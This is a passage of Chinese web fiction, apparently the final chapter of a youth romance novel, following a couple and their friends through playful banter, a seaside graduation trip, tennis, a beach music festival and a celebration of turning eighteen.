另一方面，现在他和姜织宁跟异国恋似的，年轻人，热恋期，却总不能待在一会儿，他认真想了想，觉得确实挺危险。 所以不管姜织宁是不是肤浅的人，柯译衍决定俗气一回，先让自己变成一个肤浅的人。 他没这么小气，不就是腹肌吗，都是她男朋友了，想看想摸肯定随便她啊。 姜织宁目光自上而下，从柯译衍脸上开始，一路慢吞吞挪下去，然后定住不动，直勾勾盯着某处。 柯译衍顺着她视线定住的位置瞄了眼，陷入沉默，是危险部位。 “眼睛往哪里看？”他冷静问。 姜织宁诚实回答：“腹肌吧，但不好意思啊，我眼睛比较大，所以视野范围比较广，三百六十度无死角，你理解一下。” “” 服了，女朋友真是个语言天才。 忍了忍，结果实在忍不住，柯译衍脸偏到一旁，忍俊不禁笑出声。 姜织宁莫名其妙看着他：“笑什么笑？就你刚才那话，我差点以为你被鬼附身好吗！” 柯译衍一边笑，一边伸手捏捏她脸颊，说：“俞杨说，你们舞房的帅哥跳舞喜欢露腹肌，女生都爱看。” 懂了，姜织宁眉眼弯弯，目光狡黠，拖着嗓音哦了声：“所以呢？” 柯译衍悠悠表示：“腹肌你男朋友也有，在家看就行了，别在外面流口水丢人。” 她笑问：“好看吗？” 他挑眉：“好看。” “真的？” “真的。” 结果下一秒，姜织宁从容淡定来了句：“我早就看过你腹肌啊。” “？”柯译衍愣住。 她笑眯眯解释：“就你被网球砸到那次。” 柯译衍表情顿时变得意味深长，说：“难怪你非要现场掀我衣服，别有用心啊姜织宁。” 说完，他故意按住衣角，一副不让碰的警惕态度。 姜织宁气笑，忍不住抬手打他，翻白眼说：“说谁别有用心？我掀你衣服是为了看伤口好吗，而且只掀起来一点点，后面雷恩掀你衣服我才看到的，不看白不看，又不要钱。” 她在心里偷偷补了句，男朋友的腹肌确实好看，堪称名品。 柯译衍不信她，但也没说什么，点头表示：“那没事了，挺晚，回去睡吧。” 姜织宁：“？” 她睁大眼：“不是，出尔反尔，这就不给看了？？？” “你体温有点高啊，怕你看了激动睡不着。”柯译衍按着衣摆起身，强忍笑意哄她，“心静自然凉，下次再说，回去睡吧。” 她气得嘶了声：“怎么就睡不着了？给我看看！” 柯译衍：“别闹啊，下次再看。” 姜织宁非要闹他：“就这次！看一眼，我就看一眼！是你让我看的！” 两人一路拉拉扯扯到门口，柯译衍就是小气不给看，姜织宁拉扯累了，气得冲他翻了个白眼，转身就走。 柯译衍仰头叹气了口气，把赌气女朋友扯回来，关上大门，低头吻住她的唇。 …… 毕业旅行定好去海边，结果众人时间难凑，都各自有事要忙。 柯译衍没呆几天，便飞国外比赛去了，直到七月下旬才回江洲，毕业旅行一拖再拖，最终拖到七月底才出发。 出发前一晚，姜织宁和柯译衍吃好晚饭，牵手压马路，回家路上，意外撞见姜颖和柯绍之亲密抱在一起的画面。 姜织宁小心翼翼躲在树后，默默观察了会儿，茫然扭头问：“我姑姑和你舅舅在干嘛啊？” 柯译衍早就知道两人复合了，见怪不怪地说：“中年爱情故事第一集。” “乱讲什么！”姜织宁打他一下，不满反驳，“我姑姑貌美如花赛天仙，还很年轻好吗！” 他笑着点头：“嗯，舅舅是中年人。” 正逢暑假，景点里都是学生党。 海边向来是夏季旅游第一首选，姜织宁一行人在沙滩烧烤时，凑巧碰上周跃丞、占子杰、艾彤那帮人，几人也是抽空来度假。 周跃丞他们和柯译衍一样，全都转成了职业网球运动员，进入职业网坛后，生活越发忙碌，平时不是训练就是比赛，个人时间很少，因此趁着毕业季还有点空闲时间，纷纷扎堆出来玩。 人多热闹，彼此都认识，两边合为一体，接下来的行程一块儿玩。 姜织宁吃完午饭有点困，下午太阳又特别晒，她没跟着出去玩水上项目，直接回房间睡觉。 一觉醒来，已经下午四点。 周静瑶轻手轻脚刷房卡进门，看到姜织宁醒了，放下相机说：“醒了啊，要不要去网球场看你男朋友打球？大伙儿都在那边玩，风景特好。” 度假酒店设施齐全，内部有好几个网球场，前几天还举办了少年网球夏令营。 因为建在海边，海拔略高，所以网球场上就能看到海景，欣赏落日，景色特别美。 下午四点多，阳光已经没那么晒，姜织宁利索起床，换了身裙子，漂漂亮亮出门。 姜织宁沿路买了两个椰子，和周静瑶人手一个，捧着喝，不紧不慢走向球场。 球场上，四个男生组双打，正打得兴起，柯译衍散漫立在遮阳篷边上，懒散玩转球拍，和周跃丞闲聊着。 姜织宁径直走到他面前。 “睡饱了？” 柯译衍停止转拍，笑看着她。 她点了点头，把手中还剩一半的椰子递给他喝，他单手接过来，就着她用过的吸管喝了几口。 姜织宁垂眸，打量两眼他手里黑白配色的网球拍，好奇问：“球拍哪来的？” 柯译衍下巴微抬，指了下周跃丞。 她望向周跃丞，目光挺诧异，问他：“不是出来旅游吗，为什么要带球拍？” 周跃丞笑笑：“习惯了，我们几个都会带。” 她猜道：“所以特意住这家酒店，就是因为有网球场？能随时练球？” “聪明。”周跃丞懒洋洋夸了句。 姜织宁心说，这也太努力了，出来旅游还不忘训练，走到哪打到哪。 她佩服夸道：“太励志了，你加油。” 话音落下，柯译衍不乐意挑了挑眉：“给谁加油呢？” 姜织宁：“” 这也能吃醋？ 服了。 周跃丞也很无语，用一种“你不仅变了，还变得很离谱！”的嫌弃眼神，斜睨着柯译衍。 柯译衍懒得搭理他，注视着姜织宁，不咸不淡质问：“想挨打是吗？” “想什么呢？”姜织宁喊冤，一本正经说，“我在给你们这群代表国内网球未来的年轻运动员加油，加油啊柯译衍。” 柯译衍压根不信，抬手，惩罚似的捏她脸颊。 这时，两名男生从球场上撤下来。 俞杨抬手摇晃，高声招呼：“衍神、丞哥！来不来！” 艾彤坐在遮阳篷里，往柯译衍这边瞧了眼，笑催：“哎，你俩干嘛呢，快过去啊！” 柯译衍把椰子还给姜织宁，转悠着球拍上场。 路走到一半，他突然停下脚步，转身，改为慢悠悠倒退走的姿势，与此同时，抬手，拿球拍警告指向姜织宁。 周围人都在看两人笑话，一看柯译衍摆出这幅威胁架势，顿时起哄“哎哟！哎哟！”怪叫起来。 “”姜织宁无奈叹了声，不得不冲他喊道，“男朋友加油！” 柯译衍满意扬起唇角。 周跃丞深深呼吸，斜眼鄙视：“你真是变得离谱” 柯译衍毫不在意，嗤笑嘲道：“单身狗少管。” “”周跃丞气得直翻白眼，“行不行等会儿打死你？” “呵，你试试。” 姜织宁捧着椰子坐到艾彤身边，艾彤扭头说：“好友之间的第N次对决，这两人从小切磋到大，宁王猜猜看，这次谁会赢？” “肯定柯译衍。” 她无条件站男朋友。 艾彤笑了笑，又问：“之前听说你想学网球，怎么样，开始学了吗？” 姜织宁叹气：“球拍倒是买了，但是买回来那天腰不小心扭伤，所以到现在还没开始学。” 其实她就是一时兴起，网球拍还是柯译衍亲自陪她去店里挑的。 光是避震器，她就兴致勃勃选了半个小时，结果球拍买回来后因为腰伤一直没机会学，以至于现在已经没了当初想学的热情。 男生们在球场上打球，女生们围聚在遮阳篷下，或看球，或热聊。 已经是七月底，高考录取结果基本都出来了，俞杨如愿被雾京体育大学录取，周静瑶成功考上了雾京传媒大学，读编导。 填报志愿的时候，周静瑶和家里大吵好几天，一意孤行要报传媒大学，父母眼看拗不过她，最后冷眼放话，家里只帮忙承担学费，生活费一分没有，自己去赚。 周静瑶无所谓，暑假里到处接约拍赚钱，自己亲手选择的路，绝不后悔。 聊大学时，姜织宁得知艾彤也在京大，立刻抬手和她击掌，笑说：“好巧，又碰到一位校友，京大再上一分。” 姜织宁这届毕业生挺多人选择去京大。 艾彤惊喜问：“你也在京大？” 周静瑶拍完照回来，路过两人面前，插嘴说：“我们宁王在经管学院，未来得叫她一声宁总。” “经管学院，这么厉害啊，那你高考分数绝对七百以上。”艾彤顺势问，“柯译衍呢？他应该也在京大吧？” 姜织宁点头：“他在社科院，体育教育专业。” 周静瑶有些惋惜地说：“完全没想到衍神会选这个专业，不是说京大的专业任他挑吗，我还以为，他会选个热门专业。” 姜织宁并不这么认为，都不用柯译衍解释，她就能猜到他这么选的原因。 她注视着球场上和队友碰拳庆祝的柯译衍，笑说：“教练对柯译衍的影响很大，等柯译衍哪天退役了，也许他也会选择成为一名网球教练。” 周静瑶若有所思，有点明白了。 千里马常有，而伯乐不常有，对于运动员来说，好的教练就是良师伯乐，一生受益。 虽说个人力量有限，但萤萤之火也是一束光。 薪火相传的意义，不就在于此吗 球没有打到很晚，晚上还要去附近的沙滩音乐节。 一行人在酒店里吃好晚饭，搭乘接驳车下山，沿着海边走到音乐节现场。 不算是很大型的活动，主办方请来的表演嘉宾只是小有名气，但现场依然人流如潮，热闹非凡，密密麻麻的观众手捧五颜六色的冰镇饮料，或站或坐。 没有特别喜欢的歌手，几人验过票，带上活动手环进场，没挤去前排，直接闲站在空间宽敞的后排。 周围的LED屏足够大，后排也能看清舞台，就当是过来感受下音乐节氛围，没打算呆太久。 片刻，男生们拎着几袋冷饮和冰淇淋回来，柯译衍把草莓气泡水递给姜织宁，她心不在焉接过，眼巴巴盯着俞杨手里装冰淇淋的塑料袋。 姜织宁双眼放光问：“俞杨，有巧克力脆皮吗？巧克力脆皮！” “巧克力脆皮？我看看啊。” 俞杨翻了翻袋子，还真有，他拿出来，却没给，犹豫看向柯译衍。 姜织宁无语两秒：“看他干嘛，我能吃！” 出门玩的前一晚，姜颖没叮嘱姜织宁太多，只是说了些注意安全的话，叫她尽兴玩，紧跟着，转头就和柯译衍长篇大论，说的全是和姜织宁有关的注意事项。 姜颖现在已经养成习惯，如果平时找不到姜织宁，就会给柯译衍打电话，和身体有关的重要叮嘱，和姜织宁说过后，她会和柯译衍重复一遍。 意思是，让柯译衍盯着点，免得小姑娘记性不好忘记。 姜织宁中药还没停，按照医嘱，一些生冷食物最好不碰，但毕竟出来旅游，眼下又是炎炎夏日，她心馋嘴馋，怎么可能不吃冰淇淋，哪怕来一口解解馋也行啊。 周围朋友都知道姜织宁身体不太好，原则问题上，柯译衍向来管得严，所以每次点吃的喝的，有关姜织宁的忌口，他们都会习惯性先去问柯译衍。 眼看姜织宁露出一副望眼欲穿的可怜样，柯译衍无奈叹了声，上前拿过巧克力冰淇淋，一边给她撕外包装，一边不咸不淡地说：“开心的是你，最后挨骂的是我。” 有冰淇凌吃，姜织宁高兴了，立刻主动靠进他怀里，搂住他贴贴，嬉皮笑脸说：“哎呀，咱两什么关系啊，你保密我保密，谁会知道？” 柯译衍冷哼垂眸，轻捏她脸颊：“你当医生傻吗？” 巧克力脑袋才不管那么多，反正冰淇淋得手了，姜织宁美滋滋转身，心安理得吃起来。 表演嘉宾名气不大，但业务能力完全不差，很会煽动现场气氛，周静瑶几人跟随周围热情观众，激动地又蹦又唱，也不管五音全不全，最后嗓子都吼哑了。 音乐节举行到半场时，泡泡机突然集体喷射，天空应景放起璀璨烟火，沉寂夜空被点亮，现场尖叫声不断。 一行人在此刻悄然退场，慢悠悠穿越熙攘人群，往海边沙滩走去。 晚风徐徐，星空浩瀚无垠，沙滩上有不少人，数名年轻人手拿燃烧烟花，到处疯跑，高声笑闹。 浪漫，疯狂。 找了个人少的位置，俞杨把点燃的仙女棒拿给柯译衍，柯译衍转手递给姜织宁。 仙女棒绽放绚烂火花，姜织宁轻闭上眼。 长发被晚风吹乱，柯译衍抬起手，温柔理顺姜织宁不听话的头发，等她睁眼后，弯唇问：“许愿呢？” “是啊。”姜织宁眨了眨眼，翘起唇角，大方分享愿望，“希望你开心，长长久久。” 柯译衍将她搂到身前，低头抵住她额头，望着近在咫尺的漂亮眼眸，低声笑道：“这么巧，我也许愿了，希望你健康，长长久久。” 姜织宁眉眼弯弯笑起来，踮起脚尖，抬起下巴，迅速贴了贴柯译衍嘴唇。 那群拿着烟花到处疯跑的年轻人如一股自由的风，在众人眼前呼啸而过。 俞杨深受气氛感染，猛然高举手中烟花，那股豪迈气势，如同举起一把名为无畏的火炬。 他热血沸腾，冲大海高吼：“啊啊啊啊啊啊！我！们！十！八！岁！了！” 艾彤被他吓一大跳，又觉得好玩，于是手放到唇边呈喇叭状，也跟着放声大喊：“所向披靡，无所畏惧的十八岁！” “自由热烈的十八岁！” “闪闪发光的十八岁！” “勇往直前的十八岁！” 众人来了兴致，你一句我一句，接连不断笑闹大喊，周静瑶笑眯眯拿着相机，记录这些珍贵瞬间。 蝉鸣如雨的炽热盛夏，少年少女手握萤萤之火，立于天地之间。 盛气蓬勃，意气风发地昭告世界，呐喊新的起点—— 十八岁！ 无论前方是狂风暴雨，还是晴空万里，我们都会点燃心中那簇名为勇敢的火焰，在盛大世界里步履不停，向光而行—— 全文完——【你现在阅读的是 】